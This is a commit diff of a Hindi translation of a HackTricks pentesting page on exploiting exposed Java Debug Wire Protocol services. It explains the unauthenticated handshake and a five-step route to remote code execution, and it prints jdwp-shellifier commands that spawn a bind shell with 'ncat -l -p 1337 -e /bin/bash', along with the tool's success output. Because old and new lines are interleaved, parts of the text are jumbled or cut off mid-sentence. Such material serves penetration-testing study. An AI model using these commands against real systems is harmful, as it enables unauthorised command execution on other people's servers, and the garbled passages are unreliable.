Translated ['network-services-pentesting/pentesting-jdwp-java-debug-wire

This commit is contained in:
Translator 2023-12-29 15:49:32 +00:00
parent 900c90aab9
commit 117bcc31d3

View file

@ -4,71 +4,92 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! * क्या आप **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** **करें।** * **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में शामिल हों या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।** * **अपनी हैकिंग ट्रिक्स साझा करें, [**hacktricks repo**](https://github.com/carlospolop/hacktricks) और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.**
</details> </details>
## शोषण ## एक्सप्लॉइटिंग
आप [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) में स्थित पायथन शोषण का उपयोग कर सकते हैं। JDWP एक्सप्लॉइटेशन **प्रोटोकॉल के प्रमाणीकरण और एन्क्रिप्शन की कमी** पर निर्भर करता है। यह आमतौर पर **पोर्ट 8000** पर पाया जाता है, लेकिन अन्य पोर्ट्स भी संभव हैं। प्रारंभिक कनेक्शन "JDWP-Handshake" भेजकर लक्ष्य पोर्ट से बनाया जाता है। यदि JDWP सेवा सक्रिय है, तो यह उसी स्ट्रिंग के साथ जवाब देती है, इसकी उपस्थिति की पुष्टि करती है। यह हैंडशेक नेटवर्क पर JDWP सेवाओं की पहचान करने के लिए एक फिंगरप्रिंटिंग विधि के रूप में काम करता है।
प्रक्रिया पहचान के संदर्भ में, जावा प्रक्रियाओं में "jdwk" स्ट्रिंग की खोज करने से एक सक्रिय JDWP सत्र का संकेत मिल सकता है।
पसंदीदा टूल [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier) है। आप इसे विभिन्न पैरामीटर्स के साथ उपयोग कर सकते हैं:
```bash ```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
``` ```
मैंने यह पाया है कि `--break-on 'java.lang.String.indexOf'` का उपयोग करने से एक्सप्लॉइट और **स्थिर** हो जाता है। और यदि आपके पास मेजबान पर एक बैकडोर अपलोड करने और उसे एक कमांड के बजाय निष्पादित करने का मौका होता है, तो एक्सप्लॉइट और भी स्थिर हो जाएगा। मैंने पाया कि `--break-on 'java.lang.String.indexOf'` का उपयोग करने से एक्सप्लॉइट अधिक **स्थिर** हो जाता है। और यदि आपके पास होस्ट पर एक बैकडोर अपलोड करने और उसे निष्पादित करने का अवसर है, बजाय किसी कमांड को निष्पादित करने के, तो एक्सप्लॉइट और भी अधिक स्थिर होगा।
सामान्यतः इस डीबगर को पोर्ट 8000 पर चलाया जाता है और यदि आप पोर्ट के साथ एक TCP कनेक्शन स्थापित करते हैं और "**JDWP-Handshake**" भेजते हैं, तो सर्वर आपको वही स्ट्रिंग उत्तर देना चाहिए।\ ## अधिक जानकारी
इसके अलावा, आप नेटवर्क में इस स्ट्रिंग की जांच कर सकते हैं और संभावित JDWP सेवाओं को खोज सकते हैं।
**प्रक्रियाओं की सूची**, यदि आपको किसी **जावा प्रक्रिया** में "**jdwk**" स्ट्रिंग मिलती है, तो संभावतः उसमें \*\*जावा डीबग वायर्ड प्रोटोकॉल \*\*सक्रिय हो गया है और आप लेटरली या यहां तक ​​कि **वृद्धि अधिकार** (यदि रूट के रूप में निष्पादित किया जाए) कर सकते हैं।
## अधिक विवरण
**कॉपी किया गया** [**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) **कॉपी किया गया** [**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)
### **जावा डीबग वायर्ड प्रोटोकॉल** ### **Java Debug Wire Protocol**
**जावा प्लेटफ़ॉर्म डीबग आर्किटेक्चर (JPDA)**: JDWP जावा डीबगिंग सिस्टम के एक घटक है, जिसे जावा प्लेटफ़ॉर्म डीबग आर्किटेक्चर (JPDA)\[2] कहा जाता है। निम्नलिखित एक सारणी में विस्तृत आर्किटेक्चर दिखाई गई है: **Java Platform Debug Architecture (JPDA)**: JDWP जावा डिबगिंग सिस्टम का एक घटक है, जिसे Java Platform Debug Architecture (JPDA)\[2] कहा जाता है। निम्नलिखित एक आर्किटेक्चर डायग्राम है:
[![](https://ioactive.com/wp-content/uploads/2014/04/jdpa.png)](https://ioactive.com/wp-content/uploads/2014/04/jdpa-1.png) [![](https://ioactive.com/wp-content/uploads/2014/04/jdpa.png)](https://ioactive.com/wp-content/uploads/2014/04/jdpa-1.png)
डीबगी में हमारे लक्षित एप्लिकेशन चलाने वाला एक मल्टी-थ्रेडेड JVM होता है। दूरस्थ डीबग करने के लिए, JVM इंस्टेंस को व्यापक रूप से -Xdebug विकल्प के साथ शुरू करना होता है, साथ ही -Xrunjdwp (या -agentlib) विकल्प का उपयोग करना होता है। उदाहरण के लिए, रिमोट डीबगिंग सक्षम करके एक टॉमकैट सर्वर शुरू करने के लिए यह देखने की तरह होगा: Debuggee में हमारे लक्ष्य एप्लिकेशन को चलाने वाला एक मल्टी-थ्रेडेड JVM होता है। दूरस्थ रूप से डिबग करने योग्य होने के लिए, JVM इंस्टेंस को स्पष्ट रूप से -Xdebug विकल्प के साथ कमांड लाइन पर शुरू किया जाना चाहिए, साथ ही -Xrunjdwp (या -agentlib) विकल्प के साथ भी। उदाहरण के लिए, रिमोट डिबगिंग सक्षम के साथ एक Tomcat सर्वर को शुरू करना इस तरह दिखेगा:
[![](https://ioactive.com/wp-content/uploads/2014/04/tomat.png)](https://ioactive.com/wp-content/uploads/2014/04/tomat-1.png) [![](https://ioactive.com/wp-content/uploads/2014/04/tomat.png)](https://ioactive.com/wp-content/uploads/2014/04/tomat-1.png)
आर्किटेक्चर डायग्राम में दिखाए गए रूप में, जावा डीबग वायर्ड प्रोटोकॉल डीबगर और JVM इंस्टेंस के बीच केंद्रीय लिंक है। प्रोटोकॉल के बारे में अवलोकन निम्नलिखित हैं: जैसा कि आर्किटेक्चर डायग्राम में दिखाया गया है, Java Debug Wire Protocol Debugger और JVM इंस्टेंस के बीच केंद्रीय लिंक है। प्रोटोकॉल के बारे में निरीक्षण इस प्रकार हैं:
* यह एक पैकेट-आधारित नेटवर्क बाइनरी प्रोटोकॉल है। * यह एक पैकेट-आधारित नेटवर्क बाइनरी प्रोटोकॉल है।
* यह अधिकांशतः समकालिक है। डीबगर JDWP पर एक कमांड भेजता है और एक जवाब प्राप्त करने की उम्मीद करता है। हालांकि, कुछ कमांड, जैसे इवेंट्स, समकालिक प्रतिक्रिया की उम्मीद नहीं करते हैं। वे एक जवाब भेजेंगे जब विशेष स्थितियाँ पूरी हो जाएं। उदाहरण के लिए, ब्रेकपॉइंट एक इवेंट है। * यह ज्यादातर समकालिक है। डिबगर JDWP पर एक कमांड भेजता है और एक उत्तर प्राप्त करने की उम्मीद करता है। हालांकि, कुछ कमांड्स, जैसे कि Events, समकालिक प्रतिक्रिया की उम्मीद नहीं करते। वे विशिष्ट शर्तों के पूरा होने पर उत्तर भेजेंगे। उदाहरण के लिए, एक BreakPoint एक Event है।
* इसमें प्रमाणीकरण का उपयोग नहीं होता है। * इसमें प्रमाणीकरण का उपयोग नहीं होता है।
* इसमें एन्क्रिप्शन का उपयोग नहीं होता है। * इसमें एन्क्रिप्शन का उपयोग नहीं होता है।
इन सभी अवलोकनों का पूरा संगठन एक डीबगिंग प्रोटोकॉल के बारे में बात कर रहा है। हालांकि, जब ऐसी सेवा एक शत्रुतापूर्ण नेटवर्क के सामने रखी जाती है, या इंटरनेट के सामने होती है, तो चीजें गलत हो सकती हैं।\ ये सभी निरीक्षण इसलिए पूरी तरह से समझ में आते हैं क्योंकि हम एक डिबगिंग प्रोटोकॉल के बारे में बात कर रहे हैं। हालांकि, जब ऐसी सेवा एक शत्रुतापूर्ण नेटवर्क के लिए उजागर होती है, या इंटरनेट का सामना करती है, तो चीजें गलत हो सकती हैं।\
\ \
**हैंडशेक**: JDWP निर्दिष्ट करता **Handshake**: JDWP निर्देशित करता है\[9] कि संचार को एक सरल हैंडशेक से शुरू किया जाना चाहिए। सफल TCP कनेक्शन पर, Debugger (क्लाइंट) 14-अक्षर ASCII स्ट्रिंग “JDWP-Handshake” भेजता है। Debuggee (सर्वर) इस संदेश का जवाब ठीक उसी स्ट्रिंग को भेजकर देता है। निम्नलिखित scapy\[3] ट्रेस शुरुआती दो-तरफा हैंडशेक दिखाता है:
JDWP आपको मेमोरी में मौजूद वस्तुओं तक पहुंचने और उन्हें आवंटित करने की अनुमति देता है, इसके अलावा यह आपको डेटा बनाने या ओवरराइट करने की भी अनुमति देता है।
* VirtualMachine/CreateString आपको एक स्ट्रिंग को JVM रनटाइम में रहने वाले java.lang.String में बदलने की अनुमति देता है। root:\~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run\_scapy
* VirtualMachine/RedefineClasses आपको नई क्लास परिभाषाओं को स्थापित करने की अनुमति देता है।
**"सभी आपके JDWP हमारे हैं"** Welcome to Scapy (2.2.0-dev)\
**>>>** sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)\
\<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>\
**>>>** tcp.hexraw()\
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S\
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA\
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A\
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw\
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
जैसा कि हमने देखा है, JDWP जीवीएम मेमोरी में अनिश्चित कक्षाओं को लोड करने और पहले से मौजूद और / या नई लोड बाइटकोड को आवंटित करने के लिए निर्मित आदेश प्रदान करता है। अगला अनुभाग पायथन में उपयोग के लिए उपयोग करने वाले एक JDI फ्रंट एंड का आंशिक अमलीकरण के रूप में व्यवहार करने वाले उत्पादन को कवर करेगा, ताकि यह संभव हो सके। इस स्वतंत्र उत्पाद लिखाने का मुख्य कारण यह है कि, एक पेंटेस्टर के रूप में, मुझे "हेड-शॉट" उत्पादों पसंद हैं। अर्थात, जब मुझे यकीन होता है कि एक वातावरण / एप्लिकेशन / प्रोटोकॉल संवर्धनशील है, तो मेरे पास तत्परता से इसका उपयोग करने के लिए अपना उपकरण होना चाहिए (अर्थात, अब तक बस एक प्रमाणिकरण ही मौजूद था)। तो अब जब हमने सिद्धांत को कवर कर लिया है, तो अब व्यावहारिक अमलीकरण में आते हैं। खुले JDWP सेवा के सामने आने पर, अनिश्चित आदेश निष्पादन केवल पांच कदम दूर हैं (या इस उत्पाद के साथ, केवल एक कमांड लाइन दूर हैं)। यहां यह कैसे होगा: 1. जावा रनटाइम संदर्भ प्राप्त करेंजीवीएम अपने संदर्भों के माध्यम से वस्तुओं को बदलता है। इसलिए, हमारे उत्पाद को पहले जावा.लैंग.रनटाइम कक्षा के संदर्भ को प्राप्त करना होगा। इस कक्षा से, हमें getRuntime() विधि के संदर्भ की आवश्यकता है। इसे उपयोग करने के लिए, हमें सभी कक्षाओं (AllClasses पैकेट) और हम जिस कक्षा की तलाश कर रहे हैं, उस कक्षा में सभी विधियों (ReferenceType/Methods पैकेट) को प्राप्त करना होगा। 2. ब्रेकपॉइंट सेटअप करें और सूचना के लिए प्रतीक्षा करें (असिंक्रोनस कॉल)यह हमारे उत्पाद की कुंजी है। अनिश्चित कोड को निष्पादित करने के लिए, हमें एक चल रहे थ्रेड संदर्भ में होने की आवश्यकता होती है। इसे करने के लिए, एक हैक यह है कि एक ऐसे विधि पर ब्रेकपॉइंट सेटअप करना है जिसे ज्ञात होने पर रनटाइम में बुलाया जाता है। पहले ही देखा गया है कि JDI में एक ब्रेकपॉइंट एक असिंक्रोनस घटना है जिसका प्रकार BREAKPOINT (0x02) पर सेट किया जाता है। जब हिट होता है, तो जीवीएम हमारे डीबगर को एक इवेंटडेटा पैकेट भेजता है, जिसमें हमारा ब्रेकपॉइंट आईडी, और अधिक महत्वपूर्ण रूप से, उस थ्रेड के संदर्भ को शामिल होता है।\ एक अनुभवी सुरक्षा ऑडिटर पहले ही समझ चुका होगा कि ऐसा सरल हैंडशेक इंटरनेट पर लाइव JDWP सेवाओं को आसानी से उजागर करने का एक तरीका प्रदान करता है। बस एक सरल प्रोब भेजें और विशिष्ट प्रतिक्रिया की जांच करें। अधिक रोचक बात यह है कि IBM Java Development Kit पर ShodanHQ\[4] के साथ स्कैनिंग करते समय एक व्यवहार देखा गया जिसमें सर्वर पहले ही उसी बैनर के साथ "बात" करता है। नतीजतन, एक सक्रिय JDWP सेवा की खोज करने का एक पूरी तरह से निष्क्रिय तरीका है (इस लेख में बाद में इसे (इन)फेमस Shodan की मदद से कवर किया गया है)।\
\ \
**संचार**: JDWP संचार में शामिल संदेशों को परिभाषित करता है\[10]। संदेश एक सरल संरचना का पालन करते हैं, जैसा कि निम्नलिखित है:&#x20;
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/createstring.png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/event_break.png" alt=""><figcaption></figcaption></figure> Length और Id फील्ड्स काफी स्वयं स्पष्ट हैं। Flag फील्ड का उपयोग केवल अनुरोध पैकेटों को उत्तरों से अलग करने के लिए किया जाता है, 0x80 का मान एक उत्तर पैकेट को इंगित करता है। CommandSet फील्ड Command की श्रेणी को परिभाषित करता है जैसा कि निम्नलिखित तालिका में दिखाया गया है।\
\\
इसलिए यह एक अच्छा विचार है कि इसे एक आमतौर पर बुलाए जाने वाली विधि पर सेट किया जाए, जैसे java.net.ServerSocket.accept(), जिसे नई नेटवर्क कनेक्शन प्राप्त करने पर बहुत ही संभावित रूप से बुलाया जाता है। हालांकि, ध्यान देना चाहिए कि यह किसी भी विधि हो सकती है जो रनटाइम में मौजूद होती है। 3. पेलोड को निष्पादित करने के लिए रनटाइम में एक जावा स्ट्रिंग ऑब्जेक्ट का आवंटनहम जीवीएम रनटाइम में कोड निष्पादित करेंगे, इसलिए हमारे सभी मानिपुरेटेड डेटा (जैसे स्ट्रिंग) को जीवीएम रनटाइम में मौजूद होना चाहिए (अर्थात, एक रनटाइम संदर्भ होना चाहिए)। इसे बहुत आसानी से एक CreateString कमांड भेजकर किया जाता है। | **CommandSet** | \*\* Command\*\* |
| -------------- | ---------------------------------------------------------------------------------------------------------------- |
| 0x40 | JVM द्वारा की जाने वाली क्रिया (उदाहरण के लिए, एक BreakPoint सेट करना) |
| 0x400x7F | डिबगर को इवेंट जानकारी प्रदान करना (उदाहरण के लिए, JVM ने एक BreakPoint हिट किया है और आगे की क्रियाओं की प्रतीक्षा कर रहा है) |
| 0x80 | तृतीय-पक्ष एक्सटेंशन |
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/Untitled.png" alt=""><figcaption></figcaption></figure> हमारे उद्देश्यों के लिए सबसे दिलचस्प कमांड्स निम्नलिखित हैं।
4. ब्रेकपॉइंट संदर्भ से रनटाइम ऑब्जेक्ट प्राप्त करेंइस बिंदु पर हमें एक सफल, विश्वसनीय शोषण के लिए लगभग सभी तत्व हमें चाहिए होते हैं। जो हमें चाहिए एक रनटाइम ऑब्जेक्ट संदर्भ है। इसे प्राप्त करना आसान है, और हम आसानी से जीवीएम रनटाइम में java.lang.Runtime.getRuntime() स्थायी विधि[8] को निष्पादित करके प्राप्त कर सकते हैं, एक ClassType/InvokeMethod पैकेट भेजकर और रनटाइम कक्षा और थ्रेड संदर * VirtualMachine/IDSizes JVM द्वारा संभाले जाने वाले डेटा संरचनाओं के आकार को परिभाषित करता है। यही कारण है कि nmap स्क्रिप्ट jdwp-exec.nse\[11] काम नहीं करती है, क्योंकि स्क्रिप्ट हार्डकोडेड आकारों का उपयोग करती है।
* ClassType/InvokeMethod आपको एक स्थिर फ़ंक्शन को आमंत्रित करने की अनुमति देता है।
* ObjectReference/InvokeMethod आपको JVM में एक इंस्टेंटेड ऑब्जेक्ट से एक फ़ंक्शन को आमंत्रित करने की अनुमति देता है।
* StackFrame/(Get|Set)Values थ्रेड्स स्टैक से पुशिंग/पॉपिंग क्षमताओं को प्रदान करता है।
* Event/Composite JVM को इस कमांड द्वारा घोषित विशिष्ट व्यवहारों पर प्रतिक्रिया करने के लिए मजबूर करता है। यह कमांड डिबगिंग उद्देश्यों के लिए एक प्रमुख कुंजी है क्योंकि यह, कई अन्य चीजों के बीच, ब्रेकपॉइंट्स सेट करने, रनटाइम के दौ
``` ```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting 192.168.2.9:8000 [+] Targeting 192.168.2.9:8000
@ -83,7 +104,7 @@ hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Found User home directory /Users/pentestosx [+] Found User home directory /Users/pentestosx
[!] Command successfully executed [!] Command successfully executed
``` ```
एक ही कमांड लाइन, लेकिन एक Windows सिस्टम के खिलाफ और पूरी तरह से अलग तरीके से तोड़ना: ही कमांड लाइन, लेकिन एक Windows सिस्टम के खिलाफ और एक पूरी तरह से अलग मेथड पर ब्रेकिंग:
``` ```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lang.String.indexOf hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lang.String.indexOf
[+] Targeting 192.168.2.8:8000 [+] Targeting 192.168.2.8:8000
@ -99,7 +120,7 @@ hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lan
[+] Found User home directory C:Usershugsy [+] Found User home directory C:Usershugsy
[!] Command successfully executed [!] Command successfully executed
``` ```
हम अपने एक्सप्लॉइट को निष्पादित करते हैं ताकि एक बाइंड शेल उत्पन्न हो सके जिसमें पेलोड "ncat -e /bin/bash -l -p 1337" हो, एक लिनक्स सिस्टम के खिलाफ: हम एक Linux सिस्टम के खिलाफ payload "ncat -e /bin/bash -l -p 1337" के साथ एक bind shell को स्पॉन करने के लिए हमारे exploit को निष्पादित करते हैं:
``` ```
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash
[+] Targeting 192.168.2.8:8000 [+] Targeting 192.168.2.8:8000
@ -117,40 +138,64 @@ root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
``` ```
अंतिम उत्पादन उन तकनीकों का उपयोग करता है, कुछ जांचें जोड़ता है और सस्पेंड/रिज्यूम संकेत भेजता है ताकि अधिक से अधिक व्यवधान न हो (आपके काम कर रहे एप्लिकेशन को तोड़ना सबसे अच्छा होता है, सही है ना?). इसके दो मोड होते हैं: अंतिम एक्सप्लॉइट उन तकनीकों का उपयोग करता है, कुछ जांचें जोड़ता है, और संभवतः कम से कम व्यवधान के लिए सस्पेंड/रिज्यूम सिग्नल भेजता है (आप जिस एप्लिकेशन पर काम कर रहे हैं, उसे तोड़ना नहीं चाहिए, है ना?). यह दो मोड में काम करता है:
* "डिफ़ॉल्ट" मोड पूरी तरह से अनुरोधरहित होता है और सिर्फ़ जावा कोड को निष्पादित करता है ताकि स्थानीय सिस्टम जानकारी प्राप्त की जा सके (ग्राहक को PoC के लिए उत्कृष्ट है)। * "डिफ़ॉल्ट" मोड पूरी तरह से गैर-हस्तक्षेपकारी है और केवल जावा कोड को निष्पादित करता है ताकि स्थानीय सिस्टम जानकारी प्राप्त की जा सके (ग्राहक को PoC के लिए उत्तम).
* "cmd" विकल्प पारिस्थितिकी उपकरण पर एक सिस्टम कमांड निष्पादित करता है और इसलिए अधिक व्यापक होता है। यह कमांड JVM के साथ चल रहे अधिकारों के साथ किया जाता है। * "cmd" विकल्प पास करने से रिमोट होस्ट पर एक सिस्टम कमांड निष्पादित होती है और इसलिए अधिक हस्तक्षेपकारी है। कमांड JVM के चल रहे विशेषाधिकारों के साथ की जाती है।
यह उत्पादन स्क्रिप्ट सफलतापूर्वक टेस्ट किया गया था: यह एक्सप्लॉइट स्क्रिप्ट के खिलाफ सफलतापूर्वक परीक्षण किया गया था:
* Oracle Java JDK 1.6 और 1.7 * Oracle Java JDK 1.6 और 1.7
* OpenJDK 1.6 * OpenJDK 1.6
* IBM JDK 1.6 * IBM JDK 1.6
ैसा कि जावा डिज़ाइन के अनुसार प्लेटफ़ॉर्म-स्वतंत्र है, इसलिए जावा द्वारा समर्थित किसी भी ऑपरेटिंग सिस्टम पर कमांड निष्पादित किए जा सकते हैं। यह वास्तव में हमारे लिए अच्छी खबर है: खुली JDWP सेवा विश्वसनीय RCE का मतलब है। अब तक, सब ठीक है। ावा डिजाइन द्वारा प्लेटफॉर्म-स्वतंत्र है, इसलिए कमांड किसी भी ऑपरेटिंग सिस्टम पर निष्पादित किए जा सकते हैं जो जावा समर्थित करता है। अच्छी खबर है हमारे लिए pentesters: **खुला JDWP सेवा का मतलब है विश्वसनीय RCE**। अब तक, सब अच्छा है।
### वास्तविक जीवन में शोध के बारे में क्या? ### **वास्तविक जीवन में शोषण के बारे में क्या?**
वास्तव में, JDWP जावा एप्लिकेशन दुनिया में काफी उपयोग होता है। हालांकि, रिमोट मूल्यांकन करते समय पेंटेस्टर्स इसे इतनी बार नहीं देखेंगे क्योंकि फ़ायरवॉल्स इसे अधिकांशतः ब्लॉक कर देंगे (और करना चाहिए)। लेकिन यह यह नहीं कि JDWP जंगली में नहीं पाया जा सकता है: वास्तव में, JDWP जावा एप्लिकेशन दुनिया में काफी इस्तेमाल किया जाता है। हालांकि, pentesters को यह अक्सर नहीं दिखाई दे सकता है जब वे रिमोट मूल्यांकन कर रहे होते हैं क्योंकि फ़ायरवॉल ज्यादातर उस पोर्ट को ब्लॉक कर देंगे जिस पर यह चल रहा है। लेकिन इसका यह मतलब नहीं है कि JDWP को जंगली में नहीं पाया जा सकता है:
* इस लेख को लिखने के समय, ShodanHQ\[4] पर त्वरित खोज ज्ञात करती है कि लगभग 40 सर्वर JDWP हैंडशेक भेज रहे हैं: * इस लेख को लिखते समय, ShodanHQ\[4] पर एक त्वरित खोज तुरंत लगभग 40 सर्वरों को प्रकट करती है जो JDWP हैंडशेक भेज रहे हैं:
![](https://ioactive.com/wp-content/uploads/2014/04/shodan.png) ![](https://ioactive.com/wp-content/uploads/2014/04/shodan.png)
यह वास्तव में एक दिलचस्प खोज है क्योंकि, जैसा कि हमने पहले देखा है, यह ग्राहक-पक्ष (डिबगर) होता है जो संवाद प्रारंभ करता है। यह वास्तव में एक दिलचस्प खोज है क्योंकि, जैसा कि हमने पहले देखा है, यह माना जाता है कि क्लाइंट-साइड (डिबगर) संवाद की शुरुआत करता है।
* GitHub\[7] भी कई संभावित भेद्य ओपन-सोर्स एप्लिकेशनों की संख्या दिखाता है: * GitHub\[7] भी कई संभावित रूप से संवेदनशील ओपन-सोर्स एप्लिकेशनों को प्रकट करता है:
![](https://ioactive.com/wp-content/uploads/2014/04/github.png) ![](https://ioactive.com/wp-content/uploads/2014/04/github.png)
* विशेष पोर्ट (tcp/8000, tcp/8080, tcp/8787, tcp/5005) के लिए इंटरनेट की खोज करने के लिए masscan कई होस्ट (जिनकी रिपोर्ट यहां नहीं की जा सकती है) को प्रतिक्रिया देता है * इंटरनेट को masscan करना विशिष्ट पोर्ट्स (tcp/8000, tcp/8080, tcp/8787, tcp/5005) के लिए खोज करता है और कई होस्ट्स को प्रतिक्रिया देता है (जिन्हें यहां रिपोर्ट नहीं किया जा सकता) प्रारंभिक हैंडशेक के लिए
* "एंटरप्राइज" एप्लिकेशनों को जंगली में एक JDWP सेवा चलाई गई थी \*डिफ़ॉल्ट रूप से\* (वास्तविक पोर्ट नंबर को जिज्ञासु पाठक के लिए छोड़ दिया गया है)। * "एंटरप्राइज़" एप्लिकेशन जंगली में पाए गए जो \*डिफ़ॉल्ट रूप से\* एक JDWP सेवा चला रहे थे (वास्तविक पोर्ट नंबर का पता लगाना जिज्ञासु पाठक के लिए एक अभ्यास के रूप में छोड़ दिया गया है)।
